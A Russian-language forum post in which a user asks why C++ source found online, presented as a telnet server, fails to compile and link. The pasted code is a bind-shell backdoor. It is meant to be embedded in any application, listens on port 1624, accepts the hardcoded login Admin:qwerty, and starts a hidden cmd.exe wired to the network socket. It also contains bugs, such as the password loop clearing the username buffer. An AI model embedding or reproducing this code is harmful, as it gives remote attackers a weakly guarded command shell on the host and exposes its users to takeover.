Мне нужно сделать теленет сервер на Visual C++ 2010. Нашел в интернете сурс, но ни в какую не хочет компилиться.
Код:
////////////////////////////////////////////////////////////////////////////////////
//
// How to Add this console to your App
//
// 1. Add this file to your project
// 2. Define int InitConsole(); in your.cpp
// 3. Call InitConsole() from main() or other func
// 4. Run your.cpp and try telnet you_app_ip SHELL_PORT
// 5. Use u/p: Admin:qwerty
////////////////////////////////////////////////////////////////////////////////////
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
int InitConsole();
DWORD WINAPI Session (LPVOID lpParameter);
DWORD WINAPI Service (LPVOID lpParameter);
DWORD WINAPI EndSess (LPVOID lpParameter);
bool login(SOCKET& sendrecv);
#define SHELL_PORT 1624
#define SHELL_NAME "cmd\0"
bool login(SOCKET& sendrecv)
{
int nReceived, i;
char uname[16], pwd[16 ];
memset(( void *) &uname, 0, sizeof (uname));
memset(( void *) &pwd , 0, sizeof (pwd));
send(sendrecv, "\r\nUsername: ", sizeof("\r\nUsername: "), 0 );
for (i=0;i<16 ;i++)
{
nReceived = recv(sendrecv,&uname[i], 1,0 );
if (SOCKET_ERROR == nReceived) return false ;
if(uname[i] == 0x0d) uname[i] = 0x00 ;
if(uname[i] == 0x0a) { uname[i] = 0x00; break ; }
}
send(sendrecv, "Password: ", sizeof("Password: "), 0 );
for (i=0;i<16 ;i++)
{
nReceived = recv(sendrecv,&pwd[i], 1,0 );
if (SOCKET_ERROR == nReceived) return false ;
if(pwd[i] == 0x0d) pwd[i] = 0x00 ;
if(pwd[i] == 0x0a) { uname[i] = 0x00; break ; }
}
if (!strcmp(uname,"Admin") && !strcmp(pwd,"qwerty") ) return true ;
return false ;
}
DWORD WINAPI EndSess(LPVOID sr)
{
SOCKET sendrecv = *((SOCKET*)sr);
Sleep( 7500 );
closesocket(sendrecv);
return 0 ;
}
DWORD WINAPI Session(LPVOID sr)
{
SOCKET sendrecv = *((SOCKET*)sr);
if (login(sendrecv))
{
STARTUPINFO si;
SECURITY_ATTRIBUTES sa;
PROCESS_INFORMATION pi;
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(( void *) &si, 0, sizeof (si));
memset(( void *) &pi, 0, sizeof (pi));
si.cb = sizeof (si);
si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = ( void *)sendrecv;
si.hStdOutput = ( void *)sendrecv;
si.hStdError = ( void *)sendrecv;
CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0 , NULL, NULL, &si, &pi);
}
return 0 ;
};
DWORD WINAPI Service(LPVOID lpParameter)
{
HANDLE evnt = *((HANDLE*)lpParameter);
SOCKET sock;
struct sockaddr_in sock_addr,sendrecv_addr;
WSADATA data;
WORD p;
p = MAKEWORD( 2,0 );
WSAStartup(p,&data);
sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
sock_addr.sin_family = PF_INET;
sock_addr.sin_port = htons(SHELL_PORT);
sock_addr.sin_addr.s_addr = INADDR_ANY;
bind(sock,( struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
listen(sock, 10 );
int lun = sizeof (struct sockaddr);
while(true )
{
SOCKET sendrecv = accept(sock,( struct sockaddr*) &sendrecv_addr, &lun);
DWORD dwThread;
CreateThread(NULL, 0, Session, &sendrecv, 0 , &dwThread);
CreateThread(NULL, 0, EndSess, &sendrecv, 0 , &dwThread);
}
closesocket(sock);
WSACleanup();
return 0 ;
}
int InitConsole()
{
HANDLE hevt = CreateEvent(NULL, FALSE, FALSE, TEXT( "console_already_inited" ));
if (GetLastError() != ERROR_ALREADY_EXISTS)
{
DWORD dwThread;
CreateThread(NULL, 0,Service,&hevt,0 ,&dwThread);
}
else return -1 ;
return 0 ;
}
Вылезает такая ошибка:
Код:
error C2664: CreateProcessW: невозможно преобразовать параметр 2 из "const char [5]" в "LPWSTR"
Исправил так:
Код:
#pragma comment(lib, "Ws2_32.lib")
#define SHELL_NAME L"cmd\0"
Но теперь вылазит другая ошибка:
Код:
error LNK2019: ссылка на неразрешенный внешний символ _main в функции ___tmainCRTStartup
Я так понимаю не хватает еще какой то либы?